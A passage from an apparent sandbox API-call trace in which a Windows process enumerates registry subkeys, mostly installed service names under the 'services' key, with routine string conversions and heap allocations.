(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.646] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.646] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0228.646] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.646] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.646] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.647] RegCloseKey (hKey=0x148) returned 0x0 [0228.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.647] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.647] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0228.647] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.647] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.648] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.648] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.648] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.648] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.649] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.649] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0228.649] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0228.650] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.650] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.650] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.651] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.651] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.651] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1b68, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.652] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0228.652] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0228.652] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.652] 